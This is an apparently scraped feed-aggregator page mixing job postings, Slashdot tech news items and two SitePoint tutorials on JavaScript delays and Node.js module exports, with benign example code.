A Social Media Production Assistant supports and facilitates all aspects of social media integration into broadcast/live stream production, interactive television experiences, and also talent social initiatives. The position is aligned with Network, Digital, and tentpole production and events with daily assignments and deadlines within and surrounding the department. A Social Media Production Assistant works closely within the Social Integration team as well as collaborating with external groups on projects. The role involves curating social content, pitching daily story/segment ideas, measuring social analytics to enhance and provide context to trending stories, working alongside Newsdesk and Legal to clear content for air, and programming various social feeds (Twitter & Facebook).Roles & Responsibilities Work closely with internal production teams and producers on a daily basis Curating social content and preparing them for air/broadcast Pitch content, story, and segment ideas Measure social analytics and data to enhance and provide content to trending stories Work closely with Newsdesk and Social team to clear content for air Program various social feeds/handles Develop touchscreen and interactive television experiences for production Create custom graphics for talent and show handles Takes direction and adheres to established production schedules to meet tight deadlines Assists all aspects of Social Integration initiatives Required Education and Experience: Prior education or experience in broadcast or live stream production/control room experience Working knowledge of all social media platforms and emerging technology Strong NFL/football knowledge Ability to work cohesively with a team and able to collaborate with various groups and personalities Attention to detail Ability to work under strict deadlines and pressure situation Excellent written and verbal skills Preferred Education and Experience: Bachelor's degree preferred Skilled and experienced in Adobe Creative Suite Working experience with Tagboard, CrowdTangle, Khoros(Spredfast), and video editing Other Key Attributes / Characteristics: Team-oriented work ethic with the ability to collaborate and adapt Travel: Occasional Expected Hours of Work: 40 hours/week Expect non-traditional hours which include nights, weekends, and holidays ()
          

IT / Software / Systems: Full Stack Software Developer III - San Diego, California

 Cache   
RESPONSIBILITIES:Kforce has a client in search of a Full Stack Software Developer III in San Diego, California. (CA) Essential Duties: Work closely with product and development teams to create an amazing user experience. Build integration and unit tests along with code. Work in agile development environment with shirt sprints and standups. Implement proof of concept, prototypes and production-grade software. Maintain and support existing software and hardware systems, infrastructure and production. Assist support staff and team members in trouble-shooting software issues and implementing bug fixes. Takes ownership of the code base. Work to continually improve code quality, and get bugs fixed and deployed rapidly REQUIREMENTS: Experience in or knowledge of Python, Celery, Go, Elasticsearch, PostgreSQL, SaltStack, Flask, Git, React, Elixir Deep understanding and knowledge of virtualization (libvirt, KVM, Xenserver) Excellent communication and interpersonal skills Strong programming skills including software engineering methodologies and best practices REST/API development Strong experience with Python or other scripting languages Experience working in a Linux development environment Strong experience with relational databases, and specifically MySQL, Elasticsearch, Redis Excellent HTML, CSS and JavaScript skills Experience in consuming RESTful APIs Skills: API CSS DATABASES ELASTICSEARCH FLASK Kforce is an Equal Opportunity/Affirmative Action Employer. All qualified applicants will receive consideration for employment without regard to race, color, religion, sex, pregnancy, sexual orientation, gender identity, national origin, age, protected veteran status, or disability status. ()
          

Healthcare: Primary Therapist - Young Adult Residential - Santa Ana, California

 Cache   
Newport Academy is a series of evidence-based healing centers for adolescents and families struggling with mental health issues. With locations across the United States, Newport Academy offers a family-systems approach, providing gender-specific, individualized, and comprehensive holistic programs that encompass clinical therapy, academic support, and experiential practices. We treat individuals, ages 12-20, who are experiencing depression, anxiety, eating disorders, trauma, and substance abuse. Offerings include residential treatment, intensive outpatient programming, therapeutic day schools, and day treatment. Newport Academy nurtures the physical, psychological, social, educational, and spiritual needs of adolescents and their families, from a foundation of compassionate care, clinical expertise, and unconditional love. Our primary mission is to empower teens and restore families. Experts include medical directors, psychiatrists, therapists, registered dietitians, nurses, licensed social workers, teachers, and more. - - -Empowering Teens. Restoring Families. -ResponsibilitiesUnder the supervision of the Clinical Director or Director of Young Adult Services, the Primary Therapist conducts assessments, develops treatment plans, and facilitates individual, family, and group therapies. -Essential Duties and Responsibilities:--- Carries an average case load of 8 residents.--- Facilitates two therapy sessions per week (individual, couples and/or family)--- Facilitates process-oriented and experiential group therapies as scheduled.--- Completes risk assessment and initial safety plan upon admission.--- Completes biopsychosocial assessment within 72 hours of admission.--- Completes treatment plan within 5 days of admission.--- Facilitates weekly family support group via video conferencing.--- Facilitates bi-weekly Saturday Family Program.--- Conducts crisis assessments and provides intervention/management as needed.--- Coordinates self-administered assessments and/or neuropsychological testing integrating results in treatment planning.--- Timely completion of documentation (assessments, treatment plans, progress and group notes, discharge summary) according to established standards.--- Coordinates treatment goals and services in collaboration with the treatment team.--- Attends weekly treatment team meetings, staff meetings, and clinical supervision.--- Participates in clinical on-call rotation schedule.--- Maintains clear boundaries with residents and staff. Holds direct care staff to the rules and guidelines of Newport Institute. Sets limits and assists to manage clients when staff is in need of support or supervision.--- Attends meetings, trainings and conferences representing Newport Institute as needed.--- Performs other duties as assigned.Qualifications--- Master's Degree in a clinical specialization from a state approved graduate school.--- Licensed in Marriage Family Therapy, Counseling, or Social Work in the state in which working.--- Experience in working with young adults and facilitating family therapy--- Experience with mental health, substance abuse, or eating disorders--- Training and supervision within the framework of the ABFT family therapy model (provided)Preferred:--- Doctorate degree--- Trained and/or certified in trauma-informed treatment (CBT-Trauma Focused Therapy, Relational Trauma Repair, EMDR, Cognitive Processing, Somatic Experiencing) -Newport Academy is an Equal Opportunity Employer. ()
          

Insights on transitioning from MC to CATIA V5 and Esprit

 Cache   
I am starting a new Programming position and am being sent to class for Catia V5 (for design and milling CAM), Esprit (for mill-turn CAM) and...
          

Show HN: Nymph, a C like programming language http://bit.ly/33wOQHN

 Cache   
Show HN: Nymph, a C like programming language http://bit.ly/2rDpTx5 November 30, 2019 at 01:31PM
          

Machines Programming

 Cache   
Machines Programming
          

Statistical Programme

 Cache   
STATISTICAL PROGRAMMER (Syneos Health, LLC Morrisville, NC) Act as the core project team lead to coordinate and manage all statistical programming activities. May telework from any location in the U.S. Please apply online at https://www.syneoshealth.... Truncated <a href="http://www.latpro.com/jobs/3719722.html">see more...</a>
          

IT / Software / Systems: Machinist/Programmer - Denver, Colorado

 Cache   
Postion open for Machinist/ Programmer. Flexible hours available. Experience a must. Position is for 3 and 4 axis mill programming and Machining. Mastercam knowledge is a plus. 5 axis machining experience is also a plus. Health insurance, dental, and 401K with company match are available. Must have strong work ethic. Be willing to work overtime if needed. Pay rate will be based upon skill level and experience. Training on 5 axis machine is an option. Must be able to work independently with little or no suppervision. Must be able to work well with others. ()
          

Executive: BI Manager - Denver, Colorado

 Cache   
Description: Who we are At KinderCare Education, we make it our passion to nurture a sense of discovery, joy, and wonder in every child, every day, at every one of our centers. As the nation's leading private provider in accredited early childhood education, we're committed to delivering the highest-quality child care and educational opportunities for families and the dedicated professionals who serve them.-- We see the greatness in each child, and we believe teachers can change the world. Every day, our more than 33,000 employees create a world of learning, joy, and adventure for more than 158,000 children. Whether you're in one of our centers or providing support from our headquarters in Portland, Oregon, being a part of the KinderCare family means that you care deeply about positively impacting the lives of children and families through the power of education. KinderCare Education has three brands to meet the needs of busy families wherever they need us\:-- ----- We're in neighborhoods with our KinderCare Learning Centers that offer early childhood education and care for children 6 weeks to 12 years old-- ----- We're at offices with KinderCare Education at Work, our suite of family-focused benefits for organizations to offer to their employees, including on-site and near-site early learning centers, Back-up Care for last-minute child care and Care Select-- ----- And we're at schools with our Champions before and after school programs-- Job Summary\:-- KinderCare Education (KCE) is currently building out a new Business Intelligence solution, including an Enterprise Data Warehouse, and utilizing Microsoft SSAS/SSRS/Power BI for reporting and analytics.-- As part of this program, KCE is looking for a hands-on Business Intelligence Manager who thrives in a collaborative work environment. --This role involves collaborating with peers in architecting highly performant solutions that delivers timely actionable information. You will partner with peers to understand business needs and design and develop solutions using the appropriate tools. --The ideal candidate would be a self-starter, thorough in their work, and able to help build up a high competency Analytics practice with a growing team.-- Additionally, the candidate would act as mentor on best practices both for the development team and for the business in their acceptance of the new BI solution, helping them become more mature in terms of the understanding and correct utilization of their own data assets. Job Responsibilities\: The primary responsibility of the Business Intelligence Manager is to lead the team in the analysis, design, programming and production support of the Business Intelligence Solutions.-- You will also be responsible for the creation and support of standards, repeatable processes to deliver high quality solutions, and in evaluating and recommending appropriate solutions that will help achieve corporate objectives. -- Essential Functions\: 1. Provide Business Intelligence solutions including analytics, dashboards and reports to support KCE in making informed decisions that increase the bottom line through improved quality and services. 2. Design, develop and deploy SQL Server Reporting Services (SSRS) Reports, utilizing DAX to create reports from Tabular Model. 3. Manage and Lead a team of developers in the delivery of high value solutions 4. Design, develop and deploy and tune SQL Server Analysis Services Tabular Models (SSAS) as needed 5. Collaborate with the Data Warehouse architect to help design highly performant solutions 6. Collaborate with the Business Analysts in requirements gathering, prototyping and requirements validation. Analyze and verify technical requirements for completeness, consistency, feasibility, and testability. 7. Apply software engineering concepts and best practices to design a solution that meets operational requirements, such as scalability, maintainability, extensibility, and flexibility. 8. Communicate changes, enhancements, and modifications - verbally or through written documentation to project managers, sponsors and other stakeholders. 9. Champion code quality, integrity and reliability throughout the department by designing and promoting best practices. 10. Design and develop appropriate processes and procedures to ensure proactive data quality monitoring 11. Evangelize self-service Business Intelligence and help foster an environment of information-based decisions 12. Champion use of Business Intelligence to promote new capabilities thru user education, demos and discussions 13. Establish and lead the Business Intelligence User Group 14. Collaborate with a cross functional team including QA Analysts, Business Systems Analysts, Data Warehouse Architect and the product owner to ensure strategic alignment and high-quality outcomes 15. Collaborate with Peers to help establish the BI Team as a Center of ExcellenceQualification: Adaptability Requirements\: ------------------ Position requires a high degree of adaptability. --Candidate will be faced with a variety of issues on a day to day basis and will be expected to respond to these issues appropriately while dealing with multiple priorities and task assignments. -- Working Conditions\: ------------------ Work to be performed in a normal office environment during regular business hours.-- Occasional extended work hours when necessary to meet deadlines. -- Experience and Education\: ------------------ BS or BA in computer science, business, or equivalent is required ------------------ 8+ years' experience delivering Business Intelligence solutions using the MSBI Stack (SSIS, SSAS, SSRS) with at least three years as a Team Leader or Manager ------------------ Must have at least three years' experience as a lead BI Architect -- Knowledge, Skills, and Abilities\: -- Technical\: Candidates must have analytical and problem-solving skills in addition to a good grasp of both the technical and business factors of Business Intelligence Solutions Delivery. -- ------------------ Strong understanding of Business Intelligence / Data Warehouse concepts, methods and tools. ------------------ Proven experience designing, developing and deploying Enterprise Business Intelligence solutions to Production. ------------------ High Proficiency in Microsoft Business Intelligence toolset, including\: o---- SSAS (Tabular Model, DAX & MDX a must) o---- SSRS o---- Power BI o---- SSIS knowledge desirable ------------------ Strong understanding of data modeling including star-schema, OLAP and 3N ------------------ Expert level SQL Skills ------------------ Expertise in one or more Visualization and BI Platforms required ------------------ Prior project management experience, preferably in Agile ------------------ Write high quality code that is robust, performant, and easy to maintain ------------------ Prior experience with Predictive Analytics desirable -- Leadership & Attitude\: Candidates should possess an attitude of lifetime learning to stay abreast of the latest technologies and practices. -- Candidates should possess a strong sense of\: Pride, ownership and teamwork Initiative, looking to proactively provide solutions, with the ability to think logically and independently -- Communication\: -- Candidates should possess strong written and verbal communication skills and be able communicate with confidence in any situation. -- KinderCare Education is an Equal Opportunity employer. All qualified applicants will receive consideration for employment without regard to race, national origin, age, sex, religion, disability, sexual orientation, marital status, military or veteran status, gender identity or expression, or any other basis protected by local, state, or federal law.-- ()
          

Sales: Sales Associate - Uncapped Commission - Littleton - Englewood, Colorado

 Cache   
SummaryOur Associates earn an average of $55-$65KTake home up to $3,600 bonus in your first 6 weeks + paid training! DISH is a Fortune 250 company with more than $13 billion in annual revenue that continues to redefine the communications industry. Our legacy is innovation and a willingness to challenge the status quo, including reinventing ourselves. We disrupted the pay-TV industry in the mid-90s with the launch of the DISH satellite TV service, taking on some of the largest U.S. corporations in the process, and grew to be the fourth-largest pay-TV provider. We are doing it again with the first live, internet-delivered TV service - Sling TV - that bucks traditional pay-TV norms and gives consumers a truly new way to access and watch television. Now we have our sights set on upending the wireless industry and unseating the entrenched incumbent carriers. We are driven by curiosity, pride, adventure, and a desire to win - it's in our DNA. We're looking for people with boundless energy, intelligence, and an overwhelming need to achieve to join our team as we embark on the next chapter of our story. Opportunity is here. We are DISH.Job Duties and ResponsibilitiesAs a Retention Associate Account Executive, you will be responsible for retaining customers by sharing your knowledge and enthusiasm about our pricing, service, and technology. Those new to retention love the experience of re-selling the value of our products and services, with 100% inbound calls and absolutely no cold-calling! At DISH we dedicate time for continual development and advancement opportunities for ALL associates. With an hourly base rate PLUS uncapped commissionAND incentive pay during training our employees are maximizing their income potential. The average total compensation is 55k-65k with top performers earningover six figures! Build quick rapport with existing customers using your assertiveness and confidence to educate them on the value of remaining a DISH customer Apply sales methodologies and problem-solving strategies to best position DISH's products and services while providing long-term, individualized solutions to customers and closing all sales with integrity Use web-based tools to stay current on industry-wide products, features, and services Consistently exceed in all metricsSkills - Experience and RequirementsDo you have what it takes? Pursues everything with energy, drive and a need to achieve Tech savvy with the ability to smoothly find your way around a desktop computer Can be counted on to exceed goals successfully and is consistently striving to be a top performer Goal oriented, self-motivated, confident, thorough and tenacious Learns quickly when facing new problems; a relentless and versatile learner Adaptable and flexible to change. Willing to work the shift and hours it takes to get the job done Sales experience will make a huge difference in your ability to take on this challenge - though not required College degree preferredFULL BENEFITS PACKAGE: Medical, Dental and Vision 401K with company match + profit sharing Paid Training + Generous Training Bonus eligibility for meeting requirements in your first 6 weeks Paid time off and holidays Life and short/long term disability insurance Discounted Employee Stock Purchase Program Tuition reimbursement Highly discounted DISH and Sling programming High-end Rewards and Recognition program to include shopping sprees, luxurious dinning, exciting travel destinations, and top of the line merchandiseWe need driven individuals who can adapt as we continue to grow and who are motivated to advance while taking on new responsibilities. We love to promote employees from within and offer Associate's exciting career path opportunities with generous compensation increases! ()
          

Guido van Rossum Explains How Python Makes Thinking in Code Easier

 Cache   
Dropbox's Work in Progress blog shared a 2000-word "conversation with the creator of the world's most popular programming language," noting that many computer science schools are switching over from Java to Python, and arguing that "JavaScript still owns the web, and Java runs 2.5 billion Android phones, but for general purpose programming and education, Python has become the default standard." They also write that the language's recently-retired creator Guido van Rossum "thinks Python may be closer to our visual understanding of the structures that we are representing in code than other languages." "While I was researching my book, CODERS," says author Clive Thompson, "I talked to a lot of developers who absolutely love Python. Nearly all said something like âPython is beautiful.' They loved its readability -- they found that it was far easier to glance at Python code and see its intent. Shorn of curly brackets, indented in elegant visual shelves, anything written in Python really looks like modern poetry." They also find that Python is fun to write, which is more important than it may seem. As Thompson writes, "When you meet a coder, you're meeting someone whose core daily experience is of unending failure and grinding frustration." Building the priority of the programmer's time into the language has had a curious effect on the community that's grown around it. There's a social philosophy that flows out of Python in terms of the programmer's responsibility to write programs for other people. There's an implicit suggestion, very much supported by Van Rossum in the ways he talks and writes about Python, to take a little more time in order to make your code more interpretable to someone else in the future. Expressing your respect for others and their time through the quality of your work is an ethos that Van Rossum has stealthily propagated in the world. "You primarily write your code to communicate with other coders, and, to a lesser extent, to impose your will on the computer," he says... Part of the enduring appeal of Python is the optimism and humility of starting over. "If you've invested much more time into writing and debugging code, you're much less eager to throw it all away and start over." Co-founder and CEO, Drew Houston wrote the first prototype of Dropbox in Python on a five-hour bus ride from Boston to New York. "The early prototypes of Dropbox were thrown away, largely, many times," says Van Rossum.... What has he taken away from his thirty year journey with Python? "I have learned that you can't do it alone, which is not an easy lesson for me. I've learned that you don't always get the outcome that you went for, but maybe the outcome you get is just as good, or better." Though two decades ago van Rossum had tried a short-lived project called Computer Programming 4 Everybody (or CP4E), he now says "I'm not so sure that it needs to happen anymore. I think computers have made it to that point, where they're just a useful thing that not everybody needs to know what goes on inside." Long-time Slashdot reader theodp also flagged van Rossum's remarks that "there are certain introductions to programming that are fun for kids to do, but they're not fun for all kids, and I don't think I would want to make it a mandatory part of the curriculum."

Read more of this story at Slashdot.


          

2019 Sees More Geeky Advent Calendars

 Cache   
It's the first day of December, which means the return of an annual geek tradition: the computer programming advent calendars! An anonymous reader delivers this update: It's the very first year for the Raku Advent Calendar (using the language formerly known as Perl 6). Meanwhile, Perl 5 still has its own separate advent calendar. Amsterdam-based Perl programmer Andrew Shitov is also writing a special "Language a Day" advent calendar in which he'll cover the basics of an entirely different programming language each day. And the Go language site Gopher Academy has also launched their 7th annual advent calendar. The 24 Ways site is also promising "an advent calendar for web geeks," offering "a daily dose of web design and development goodness to bring you all a little Christmas cheer." And each day until Christmas the Advent of Code site will offer "small programming puzzles for a variety of skill sets and skill levels that can be solved in any programming language you like. People use them as a speed contest, interview prep, company training, university coursework, practice problems, or to challenge each other." (Their Day One puzzle explains this year's premise. "Santa has become stranded at the edge of the Solar System while delivering presents to other planets....!") There's also one particularly ambitious advent calendar from closer to the north pole. The Norwegian design/technology/strategy consulting firm Bekk is attempting 12 different geeky Christmas calendars, each running for 24 days (for a total of 288 articles). And each one is hosted at a .christmas top-level domain CSS Christmas Functional Christmas Java Christmas JavaScript Christmas Kotlin Christmas ML Christmas Open Source Christmas Product Christmas React Christmas Security Christmas The Cloud Christmas UX Christmas

Read more of this story at Slashdot.


          

Netflix Cancels Rebooted 'Mystery Science Theatre 3000'

 Cache   
Netflix's reboot of Mystery Science Theatre 3000 made this year's "Best Of" lists from both The New York Times and Rotten Tomatoes. Yet apparently their bosses didn't like them, and have shot them into space. Forbes reports: In a controversial move poisoning Thanksgiving for many indie comedy fans, Mystery Science Theater 3000 host Jonah Ray tweeted that Netflix has cancelled the young reboot after two seasons... The reprise of Mystery Science Theater 3000 -- whose maiden incarnation made hordes of fans airing on Comedy Central and Syfy throughout the '90s -- ran on Netflix for two seasons and 20 episodes beginning in 2017 after a record-breaking Kickstarter campaign by creator Joel Hodgon fueled its return. "We don't know what the future holds for the show," Ray added in a later tweet, "it always seemed to figure out how to survive. From Comedy Central to Syfy. Then kept alive by RIFFTRAX & Cinematic Titan. Whatever happens, I want everybody to know that getting a chance to be on this show was a dream come true." Shortly after news of the show's cancellation, Hodgson tweeted reassurance to fans that he'll look to revive the series elsewhere.... Earlier this month, Shout! Factory TV announced the debut of an MST3K Twitch channel that unspools the series and promises to feature "related programming...." Fans can also turn to Pluto TV's 24/7 MST3K channel to gorge on the series pre-Y2K catalogue (1988-99). The MST3K staff is also currently on a sprawling 60-plus city tour that will stretch into March 2020. In 2008 Joel Hodgson, the show's creator, answered questions from Slashdot readers. "I've been a fan so long, I can't even remember when," posted CmdrTaco. "I've been shuttling my MST coffee mug from desk to desk for like 15 years now, so I'm pretty pumped that he'd waste your time with us." In a gracious note this week, Hodgson emailed fans that "We've had a wonderful time working with the Netflix team, and will always be grateful to them. After all, they gave us the opportunity to spend the past few years aboard the Satellite of Love, and made it possible for new generations to discover the joys of riffing cheesy movies with your friends..."

Read more of this story at Slashdot.


          

How Real-Time APIs Power Our Lives

 Cache   

The other day I went to dinner and it made me appreciate the need for fast application programming interfaces (APIs). Confused? Let me explain. To get to dinner I used an app to hail a car from my smartphone. Most of us are familiar with this routine – you open the app, enter your destination, get [...]

Read More...

The post How Real-Time APIs Power Our Lives appeared first on NGINX.


          

2510nt Programming

 Cache   
2510nt Programming
          

Delay, Sleep, Pause, & Wait in JavaScript

 Cache   
Timing Issues in JavaScript: Implementing a Sleep Function

Many programming languages have a sleep function that will delay a program's execution for a given number of seconds. This functionality is absent from JavaScript, however, owing to its asynchronous nature. In this article, we'll look briefly at why this might be, then how we can implement a sleep function ourselves.

Understanding JavaScript's Execution Model

Before we get going, it's important to make sure we understand JavaScript's execution model correctly.

Consider the following Ruby code:

require 'net/http'
require 'json'

url = 'https://api.github.com/users/jameshibbard'
uri = URI(url)
response = JSON.parse(Net::HTTP.get(uri))
puts response['public_repos']
puts "Hello!"

As one might expect, this code makes a request to the GitHub API to fetch my user data. It then parses the response, outputs the number of public repos attributed to my GitHub account and finally prints "Hello!" to the screen. Execution goes from top to bottom.

Contrast that with the equivalent JavaScript version:

fetch('https://api.github.com/users/jameshibbard')
  .then(res => res.json())
  .then(json => console.log(json.public_repos));
console.log("Hello!");

If you run this code, it will output "Hello!" to the screen, then the number of public repos attributed to my GitHub account.

This is because fetching data from an API is an asynchronous operation in JavaScript. The JavaScript interpreter will encounter the fetch command and dispatch the request. It will not, however, wait for the request to complete. Rather, it will continue on its way, output "Hello!" to the console, then when the request returns a couple of hundred milliseconds later, it will output the number of repos.

If any of this is news to you, you should watch this excellent conference talk: What the heck is the event loop anyway?.

You Might Not Actually Need a Sleep Function

Now that we have a better understanding of JavaScript's execution model, let's have a look at how JavaScript handles delays and asynchronous operations.

Create a Simple Delay Using setTimeout

The standard way of creating a delay in JavaScript is to use its setTimeout method. For example:

console.log("Hello");
setTimeout(() => {  console.log("World!"); }, 2000);

This would log "Hello" to the console, then after two seconds "World!" And in many cases, this is enough: do something, wait, then do something else. Sorted!

However, please be aware that setTimeout is an asynchronous method. Try altering the previous code like so:

console.log("Hello");
setTimeout(() => { console.log("World!"); }, 2000);
console.log("Goodbye!");

It will log:

Hello
Goodbye!
World!

Waiting for Things with setTimeout

It's also possible to use setTimeout (or its cousin setInterval) to keep JavaScript waiting until a condition is met. For example, here's how you might use setTimeout to wait for a certain element to appear on a web page:

function pollDOM () {
  const el = document.querySelector('my-element');

  if (el.length) {
    // Do something with el
  } else {
    setTimeout(pollDOM, 300); // try again in 300 milliseconds
  }
}

pollDOM();

This assumes the element will turn up at some point. If you're not sure that's the case, you'll need to look at canceling the timer (using clearTimeout or clearInterval).

If you'd like to find out more about JavaScript's setTimeout method, please consult our tutorial which has plenty of examples to get you going.

The post Delay, Sleep, Pause, & Wait in JavaScript appeared first on SitePoint.


          

Understanding module.exports and exports in Node.js

 Cache   
Working with Modules in Node.js

In programming, modules are self-contained units of functionality that can be shared and reused across projects. They make our lives as developers easier, as we can use them to augment our applications with functionality that we haven't had to write ourselves. They also allow us to organize and decouple our code, leading to applications that are easier to understand, debug and maintain.

In this article, I'll examine how to work with modules in Node.js, focusing on how to export and consume them.

Different Module Formats

As JavaScript originally had no concept of modules, a variety of competing formats have emerged over time. Here's a list of the main ones to be aware of:

  • The Asynchronous Module Definition (AMD) format is used in browsers and uses a define function to define modules.
  • The CommonJS (CJS) format is used in Node.js and uses require and module.exports to define dependencies and modules. The npm ecosystem is built upon this format.
  • The ES Module (ESM) format. As of ES6 (ES2015), JavaScript supports a native module format. It uses an export keyword to export a module's public API and an import keyword to import it.
  • The System.register format was designed to support ES6 modules within ES5.
  • The Universal Module Definition (UMD) format can be used both in the browser and in Node.js. It's useful when a module needs to be imported by a number of different module loaders.

Please be aware that this article deals solely with the CommonJS format, the standard in Node.js. If you'd like to read into any of the other formats, I recommend this article, by SitePoint author Jurgen Van de Moere.

Requiring a Module

Node.js comes with a set of built-in modules that we can use in our code without having to install them. To do this, we need to require the module using the require keyword and assign the result to a variable. This can then be used to invoke any methods the module exposes.

For example, to list out the contents of a directory, you can use the file system module and its readdir method:

const fs = require('fs');
const folderPath = '/home/jim/Desktop/';

fs.readdir(folderPath, (err, files) => {
  files.forEach(file => {
    console.log(file);
  });
});

Note that in CommonJS, modules are loaded synchronously and processed in the order they occur.

Creating and Exporting a Module

Now let's look at how to create our own module and export it for use elsewhere in our program. Start off by creating a user.js file and adding the following:

const getName = () => {
  return 'Jim';
};

exports.getName = getName;

Now create an index.js file in the same folder and add this:

const user = require('./user');
console.log(`User: ${user.getName()}`);

Run the program using node index.js and you should see the following output to the terminal:

User: Jim

So what has gone on here? Well, if you look at the user.js file, you'll notice that we're defining a getName function, then using the exports keyword to make it available for import elsewhere. Then in the index.js file, we're importing this function and executing it. Also notice that in the require statement, the module name is prefixed with ./, as it's a local file. Also note that there's no need to add the file extension.

Exporting Multiple Methods and Values

We can export multiple methods and values in the same way:

const getName = () => {
  return 'Jim';
};

const getLocation = () => {
  return 'Munich';
};

const dateOfBirth = '12.01.1982';

exports.getName = getName;
exports.getLocation = getLocation;
exports.dob = dateOfBirth;

And in index.js:

const user = require('./user');
console.log(
  `${user.getName()} lives in ${user.getLocation()} and was born on ${user.dob}.`
);

The code above produces this:

Jim lives in Munich and was born on 12.01.1982.

Notice how the name we give the exported dateOfBirth variable can be anything we fancy (dob in this case). It doesn't have to be the same as the original variable name.

Variations in Syntax

I should also mention that it's possible to export methods and values as you go, not just at the end of the file.

For example:

exports.getName = () => {
  return 'Jim';
};

exports.getLocation = () => {
  return 'Munich';
};

exports.dob = '12.01.1982';

And thanks to destructuring assignment, we can cherry-pick what we want to import:

const { getName, dob } = require('./user');
console.log(
  `${getName()} was born on ${dob}.`
);

As you might expect, this logs:

Jim was born on 12.01.1982.

The post Understanding module.exports and exports in Node.js appeared first on SitePoint.


          

Dx100 Programming

 Cache   
Dx100 Programming
          

2100 Programming

 Cache   
2100 Programming
          

Guido van Rossum Explains How Python Makes Thinking in Code Easier

 Cache   
Dropbox’s Work in Progress blog shared a 2000-word “conversation with the creator of the world’s most popular programming language,” noting that many computer science schools are switching over from Java to Python, and arguing that “JavaScript still owns the web, and Java runs 2.5 billion Android phones, but for general purpose programming and education, Python ...
          

2019 Sees More Geeky Advent Calendars

 Cache   
It’s the first day of December, which means the return of an annual geek tradition: the computer programming advent calendars! An anonymous reader delivers this update: It’s the very first year for the Raku Advent Calendar (using the language formerly known as Perl 6). Meanwhile, Perl 5 still has its own separate advent calendar. Amsterdam-based ...
          

Programming

 Cache   
Programming
          

November 27, 2019 | Daily News Brief | (BAY WEEKLY SAVED, THANKSGIVING TRAVEL AND SHOPPING TIPS)

 Cache   
PROGRAMMING NOTE:  There will NOT be a DNB produced on Thanksgiving or Black Friday!  Enjoy your Thanksgiving! Give us about ten minutes a day and we will give you all the local news, local sports, local weather, and local events you can handle. And make sure you know all the ways to connect with us—> bit.ly/EOAConnect […]
          

Simplified implementation of SVPWM techniques for a six-phase machine with reduced current distortion features

 Cache   
In this study, space vector pulse width modulation (SVPWM) methods for six-phase asymmetrical ac drives are discussed including continuous and discontinuous switching sequences. These switching sequences are adapted from the carrier-based PWM techniques. Some additional sequences are also derived which reduce the intricacy of programming algorithm. Total six pulse width modulation (PWM) techniques are selected for simulation and experimentation. The comparative performances of these modulation techniques are studied in terms of harmonic distortion factor (HDF), torque and current ripples and switching losses. Based on study, a new PWM technique termed as 6SVM3-B2 is found that leads to the lowest HDF and current ripple in prototype model.
          

Training Specialist - US Department of Veterans Affairs - Sheridan, WY

 Cache   
The Training Specialist develops and implements educational programming for the Sheridan VA Healthcare System (SVAHCS), as it relates to Business Processes,… $51,440 - $66,868 a year
From usajobs.gov - Thu, 28 Nov 2019 03:54:27 GMT - View all Sheridan, WY jobs
          

Stock / Inventory Module (General Purpose) for Any Kind of Item (ASP.NET Forms / C[sharp] / SQL Server Backend)

 Cache   
Category: .NET, ASP.NET, C#, Programming, Microsoft SQL Server, SQL
Budget: $250 - $750 USD

Hi, We need a READY Stock / Inventory Module (General Purpose) for Any Kind of Item (ASP.NET Forms / C# / SQL Server Backend) URGENT PLEASE
          

Require Oracle ERP developer.

 Cache   
Category: Programming & Development

Description: We are a SAAS company based out of Gurgaon giving consultation to companies for supply chain visibi...

          

Require Oracle ERP developer.

 Cache   
Category: Programming & Development

Description: We would be needing to hire oracle erp developer to integrate new options into the Oracle erp.Pleas...

          

SENIOR Database Administrator - Remote Full time Position. ORACLE CERTIFICATION REQUIRED

 Cache   
Category: Database Administration, Database Programming, MySQL, Oracle, SQL
Budget: $750 - $1500 USD

The ideal candidate will have the ability to work independently or under only general direction in a fast-paced and flexible environment with tight deadlines and changing priorities. The candidate must...
          

Oracle Apps Visual Cloud builder tech

 Cache   
Category: Programming & Development

Description: Looking for part time oracle application visual cloud builder technical resource working form home ...

          

Scheme Web Programming Lab

 Cache   
Scheme Web Programming Lab
          

STM32 Embedded Programmin in C

 Cache   
Embedded Programming in C Part1 topics: Bare Metal programming Programming with ST HAL APIs Cortex M series (M0, M3, M4 etc.) Structure Creations Address Pointer Casting AHB clock configuration Bit Banding System Configuration Register System Exception I
          

Programming Lab Manual

 Cache   
Programming Lab Manual
          

Thankful

 Cache   
Whether or not you’re in a part of the world that celebrates Thanksgiving, we want to take this opportunity to let you know how grateful we are to you, WU community–for your support, for your thought-provoking comments, and for persevering with us these many years. Thank you! Regular programming will resume on Saturday with a […]
          

Epabx Programming

 Cache   
Epabx Programming
          

Qatar Museums inaugurates Where Cultures Meet: A Photographic Encounter Between Qatar and India exhibition

 Cache   

Qatar Museums (QM) hosted the opening ceremony of “Where Cultures Meet: A Photographic Encounter Between Qatar and India” as part of its annual Year of Culture programme. The exhibition opened at Katara Cultural Village and will be on show until the 31st of December in Gallery 18.

As part of Qatar-India 2019, two Qatari photographers – Hamad Al Shamari and Aisha Al Sadah – travelled to the Himalayan Region of Ladakh, India for two weeks. The aim was to create an inspiring portfolio that will help foster mutual understanding and cultural relations between the two countries. Alongside it, two Qatar-based Indian photographers – Ajeesh Puthiyadath and Salim Abdulla – were selected as part of an open call to participate in the exhibition.

The exhibition presents common themes like architecture, landscape, portraits and street life both in Ladakh – a remote land tucked in the valleys among barren mountains and where communities known for their tolerant and generous manner live in peace – and in Doha, a bustling metropolis made up of century-old markets and futuristic buildings that line its waterfront. Commenting on the exhibition, Aisha Al Attiya, Head of Years of Culture at QM said: “The annual photography exhibition is an important milestone in the Years of Culture programme. It promotes an appreciation for our similarities with partner countries and celebrates the differences between our two cultures and perspectives. We hope that the trip to Ladakh will continue to inspire Hamad Al Shamari and Aisha Al Sadah for many years to come.”

Under the leadership of its Chairperson Her Excellency Sheikha Al Mayassa bint Hamad bin Khalifa Al Thani, QM developed the “Year of Culture” initiative — an annual international cultural exchange programme designed to deepen understanding between nations and their people. Though the formal programming lasts only one year, the initiative often sparks long-lasting collaboration.

Previous years of culture include: Qatar Japan 2012, Qatar UK 2013, Qatar Brazil 2014, Qatar Turkey 2015, Qatar China 2016, Qatar Germany 2017 and Qatar Russia 2018.

Categories: 


          

Juan Pablo Vielma — Mixed Integer Programming Methods for Machine Learning and Statistics, Dec 2

 Cache   
